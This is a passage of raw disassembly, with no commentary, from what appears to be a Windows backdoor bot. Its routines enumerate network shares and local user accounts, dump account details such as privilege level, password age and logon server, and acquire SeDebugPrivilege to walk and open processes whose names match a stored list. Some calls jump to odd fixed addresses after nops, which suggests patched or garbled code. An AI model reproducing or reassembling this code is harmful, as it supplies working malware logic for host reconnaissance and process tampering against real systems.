sub_41C006 add esp, 0Ch loc_41905C: ; CODE XREF: sub_418FA3+65j ; sub_418FA3+97j mov eax, esi pop edi pop esi pop ebp retn sub_418FA3 endp ; =============== S U B R O U T I N E ======================================= sub_419062 proc near ; CODE XREF: sub_41A367+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_41906F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41906F: ; CODE XREF: sub_419062+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427194 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4D917C, 1 mov ebp, eax jnz short loc_4190AC or byte_4D917C, 1 lea eax, [ebp+1] push eax call sub_41D735 pop ecx mov dword_4D8F1C, eax loc_4190AC: ; CODE XREF: sub_419062+32j push esi push esi push ebp push dword_4D8F1C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4D8F1C pop edi pop ebp pop ebx pop esi retn sub_419062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190C9 proc near ; CODE XREF: sub_418FA3+6Dp ; sub_41A68B+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov edi, eax call sub_419134 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C720 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419134 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4C91F8 pop edi leave retn sub_4190C9 endp ; =============== S U B R O U T I N E ======================================= sub_419134 proc near ; CODE XREF: sub_4190C9+Ap ; sub_4190C9+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419141 pop ebp retn ; --------------------------------------------------------------------------- loc_419141: ; CODE XREF: sub_419134+9j push ebx push esi mov esi, dword_4270F0 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D735 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419134 endp ; =============== S U B R O U T I N E ======================================= sub_419175 proc near ; CODE XREF: sub_418FA3+20p ; sub_41A367+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419134 push [esp+8+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx push 0 push eax push esi call dword_4C91D0 pop esi retn sub_419175 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419198 proc near ; CODE XREF: sub_401AC7+45D1p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419134 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 18h loc_4191D1: ; CODE XREF: sub_419198+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4C9248 mov ebx, eax cmp ebx, esi jz short loc_419234 cmp ebx, 0EAh jz short loc_419234 push ebx push ebx call sub_41994D pop ecx push eax lea eax, [ebp+var_210] push offset unk_439438 push eax call sub_41C006 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 24h jmp short loc_4192A1 ; --------------------------------------------------------------------------- loc_419234: ; CODE XREF: sub_419198+5Dj ; sub_419198+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_419298 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419242: ; CODE XREF: sub_419198+FCj push dword ptr [esi+10h] call dword_4C91EC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_419259 mov eax, offset aNo ; "No" loc_419259: ; CODE XREF: sub_419198+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C006 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419242 xor esi, esi loc_419298: ; CODE XREF: sub_419198+A2j push [ebp+var_4] call dword_4C9394 loc_4192A1: ; CODE XREF: sub_419198+9Aj cmp ebx, 0EAh jz loc_4191D1 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_419198 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B9 proc near ; CODE XREF: sub_401AC7:loc_40610Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_41935D mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_4192FB dec eax jz short loc_4192F0 dec eax jnz short loc_419316 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4193FF add esp, 14h jmp short loc_419312 ; --------------------------------------------------------------------------- loc_4192F0: ; CODE XREF: sub_4192B9+1Dj push ebx push edi call sub_4193DE pop ecx pop ecx jmp short loc_419312 ; --------------------------------------------------------------------------- loc_4192FB: ; CODE XREF: sub_4192B9+1Aj cmp [ebp+arg_8], edi jz short loc_41930F push [ebp+arg_8] push ebx push edi call sub_419384 add esp, 0Ch jmp short loc_419312 ; --------------------------------------------------------------------------- loc_41930F: ; CODE XREF: sub_4192B9+45j push 57h pop eax loc_419312: ; CODE XREF: sub_4192B9+35j ; sub_4192B9+40j ... cmp eax, edi jnz short loc_419336 loc_419316: ; CODE XREF: sub_4192B9+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4D9180 push off_438D44[eax*4] push offset unk_4394F0 push esi call sub_41C006 add esp, 10h jmp short loc_41937D ; --------------------------------------------------------------------------- loc_419336: ; CODE XREF: sub_4192B9+5Bj push eax call sub_41994D push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4D9180 push off_438D40[eax*4] push offset unk_4394C0 push esi call sub_41C006 add esp, 18h jmp short loc_41937D ; --------------------------------------------------------------------------- loc_41935D: ; CODE XREF: sub_4192B9+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4D9180 lea eax, [eax+eax*2] push off_438D40[eax*4] push offset unk_439498 push esi call sub_41C006 add esp, 0Ch loc_41937D: ; CODE XREF: sub_4192B9+7Bj ; sub_4192B9+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419384 proc near ; CODE XREF: sub_4192B9+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov edi, eax call sub_419134 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419134 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4C91DC pop edi leave retn sub_419384 endp ; =============== S U B R O U T I N E ======================================= sub_4193DE proc near ; CODE XREF: sub_4192B9+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419134 push [esp+8+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx push eax push esi call dword_4C91CC pop esi retn sub_4193DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_4192B9+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4C935C test eax, eax mov [ebp+arg_0], eax jnz loc_41978C mov eax, [ebp+var_4] test eax, eax jz loc_4197C7 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C006 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_419518 dec eax jz short loc_419511 dec eax jz short loc_41950A mov eax, offset aUnknown ; "Unknown" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_4193FF+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_4193FF+FFj mov eax, offset aUser_0 ; "User" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_419518: ; CODE XREF: sub_4193FF+FCj mov eax, offset aGuest ; "Guest" loc_41951D: ; CODE XREF: sub_4193FF+109j ; sub_4193FF+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 add esp, 20h pop edi pop ebx jmp short loc_4197B8 ; --------------------------------------------------------------------------- loc_41978C: ; CODE XREF: sub_4193FF+35j push eax lea eax, [ebp+var_204] push offset unk_439510 push eax call sub_41C006 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409862 add esp, 20h loc_4197B8: ; CODE XREF: sub_4193FF+38Bj cmp [ebp+var_4], 0 jz short loc_4197C7 push [ebp+var_4] call dword_4C9394 loc_4197C7: ; CODE XREF: sub_4193FF+40j ; sub_4193FF+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197CD proc near ; CODE XREF: sub_401AC7+4673p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419134 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 18h loc_41980C: ; CODE XREF: sub_4197CD+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4C9264 cmp eax, esi mov [ebp+var_C], eax jz short loc_41986D cmp eax, 0EAh jz short loc_41986D push eax push eax call sub_41994D pop ecx push eax lea eax, [ebp+var_218] push offset unk_439700 push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 24h jmp short loc_4198E8 ; --------------------------------------------------------------------------- loc_41986D: ; CODE XREF: sub_4197CD+62j ; sub_4197CD+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_4198FB xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4198E8 loc_41987F: ; CODE XREF: sub_4197CD+EDj cmp edi, esi jz short loc_4198BE push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41987F jmp short loc_4198E8 ; --------------------------------------------------------------------------- loc_4198BE: ; CODE XREF: sub_4197CD+B4j lea eax, [ebp+var_218] push offset unk_4396CC push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 1Ch loc_4198E8: ; CODE XREF: sub_4197CD+9Ej ; sub_4197CD+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_4198FB push edi call dword_4C9394 xor edi, edi mov [ebp+var_4], edi loc_4198FB: ; CODE XREF: sub_4197CD+A5j ; sub_4197CD+120j cmp [ebp+var_C], 0EAh jz loc_41980C cmp edi, esi jz short loc_419913 push edi call dword_4C9394 loc_419913: ; CODE XREF: sub_4197CD+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4197CD endp ; =============== S U B R O U T I N E ======================================= sub_41994D proc near ; CODE XREF: sub_418FA3+41p ; sub_419198+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_4199FF jz loc_4199F8 cmp eax, 7Bh ja short loc_4199C4 jz short loc_4199BA cmp eax, 5 jz short loc_4199B0 cmp eax, 8 jz short loc_4199A6 cmp eax, 32h jz short loc_41999C cmp eax, 35h jz short loc_419992 cmp eax, 57h jnz loc_419A4E push offset aInvalidParamet ; "Invalid parameter." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_419992: ; CODE XREF: sub_41994D+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_41999C: ; CODE XREF: sub_41994D+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199A6: ; CODE XREF: sub_41994D+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: sub_41994D+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199BA: ; CODE XREF: sub_41994D+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199C4: ; CODE XREF: sub_41994D+1Aj sub eax, 7Ch jz short loc_4199F1 sub eax, 7C8h jz short loc_4199EA dec eax jz short loc_4199E0 dec eax jnz short loc_419A4E push offset aDuplicateShare ; "Duplicate share name." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199E0: ; CODE XREF: sub_41994D+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199EA: ; CODE XREF: sub_41994D+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_41994D+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199F8: ; CODE XREF: sub_41994D+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199FF: ; CODE XREF: sub_41994D+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A38 jz short loc_419A31 sub eax, 8ADh jz short loc_419A63 dec eax dec eax jz short loc_419A2A dec eax jz short loc_419A23 dec eax dec eax jnz short loc_419A4E push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_41994D+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A2A: ; CODE XREF: sub_41994D+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A31: ; CODE XREF: sub_41994D+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A38: ; CODE XREF: sub_41994D+B9j sub eax, 8CAh jz short loc_419A6A sub eax, 17h jz short loc_419A63 sub eax, 25h jz short loc_419A5C sub eax, 29h jz short loc_419A55 loc_419A4E: ; CODE XREF: sub_41994D+35j ; sub_41994D+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A55: ; CODE XREF: sub_41994D+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A5C: ; CODE XREF: sub_41994D+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A63: ; CODE XREF: sub_41994D+C2j ; sub_41994D+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A6A: ; CODE XREF: sub_41994D+F0j push offset aNetworkConnect ; "Network connection not found." loc_419A6F: ; CODE XREF: sub_41994D+40j ; sub_41994D+4Aj ... push offset dword_4D8F20 call sub_41C006 pop ecx mov eax, offset dword_4D8F20 pop ecx retn sub_41994D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A81 proc near ; CODE XREF: sub_401AC7+46B8p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41DFD4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26D0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41DFD4 lea eax, [ebp+var_718] push eax call sub_41DFB7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4C9314 test eax, eax jnz short loc_419B11 mov esi, offset dword_4D8D1C push offset unk_439A34 push esi call sub_41C006 pop ecx pop ecx jmp short loc_419B3A ; --------------------------------------------------------------------------- loc_419B11: ; CODE XREF: sub_419A81+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41994D pop ecx mov esi, offset dword_4D8D1C push eax push offset dword_439A08 push esi call sub_41C006 add esp, 14h loc_419B3A: ; CODE XREF: sub_419A81+8Ej mov eax, esi pop esi leave retn sub_419A81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B3F proc near ; CODE XREF: sub_417269+45p ; sub_417269+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2740662h push eax call dword_4C92E8 test eax, eax jnz short loc_419B5E leave retn ; --------------------------------------------------------------------------- loc_419B5E: ; CODE XREF: sub_419B3F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4C92C0 test eax, eax jz short loc_419B9C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419B85 or [ebp+var_8], 2 jmp short loc_419B89 ; --------------------------------------------------------------------------- loc_419B85: ; CODE XREF: sub_419B3F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419B89: ; CODE XREF: sub_419B3F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4C9370 mov esi, eax loc_419B9C: ; CODE XREF: sub_419B3F+32j push [ebp+var_4] nop call near ptr 2670000h mov eax, esi pop esi leave retn sub_419B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BAA proc near ; CODE XREF: sub_401AC7+7781p ; sub_419DD9+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4C9324, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419DA9 cmp dword_4C9308, ebx jz loc_419DA9 cmp dword_4C9218, ebx jz loc_419DA9 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx push ebx push 0Fh call dword_4C9324 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419D9C lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4C9308 mov esi, dword_427078 test eax, eax jz loc_419D97 lea eax, [ebp+var_130] push eax push edi call dword_4C9218 test eax, eax jz loc_419D97 mov edi, dword_427094 mov ebx, 1F0FFFh loc_419C6E: ; CODE XREF: sub_419BAA+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419CD5 mov [ebp+var_4], offset off_439A60 loc_419C7C: ; CODE XREF: sub_419BAA+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2850000h nop test eax, eax jz short loc_419CA4 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439AC0 jl short loc_419C7C jmp loc_419D7D ; --------------------------------------------------------------------------- loc_419CA4: ; CODE XREF: sub_419BAA+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419D7D push 0 push eax nop call near ptr 2730D30h test eax, eax jnz loc_419D7D loc_419CCB: ; CODE XREF: sub_419BAA+1B9j push [ebp+var_4] call esi jmp loc_419D7D ; --------------------------------------------------------------------------- loc_419CD5: ; CODE XREF: sub_419BAA+C9j cmp [ebp+arg_C], eax jnz loc_419D68 cmp [ebp+arg_4], eax jz loc_419D7D push [ebp+var_128] push 8 call dword_4C9324 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D28 lea ecx, [ebp+var_354] push ecx push eax call dword_4C91C4 push [ebp+var_128] test eax, eax jz short loc_419D2E lea eax, [ebp+var_234] jmp short loc_419D34 ; --------------------------------------------------------------------------- loc_419D28: ; CODE XREF: sub_419BAA+15Cj push [ebp+var_128] loc_419D2E: ; CODE XREF: sub_419BAA+174j lea eax, [ebp+var_10C] loc_419D34: ; CODE XREF: sub_419BAA+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C006 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h jmp loc_419CCB ; --------------------------------------------------------------------------- loc_419D68: ; CODE XREF: sub_419BAA+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_419DB0 loc_419D7D: ; CODE XREF: sub_419BAA+F5j ; sub_419BAA+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4C9218 test eax, eax jnz loc_419C6E xor ebx, ebx loc_419D97: ; CODE XREF: sub_419BAA+9Dj ; sub_419BAA+B3j push [ebp+var_8] call esi loc_419D9C: ; CODE XREF: sub_419BAA+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx loc_419DA9: ; CODE XREF: sub_419BAA+3Aj ; sub_419BAA+46j ... xor eax, 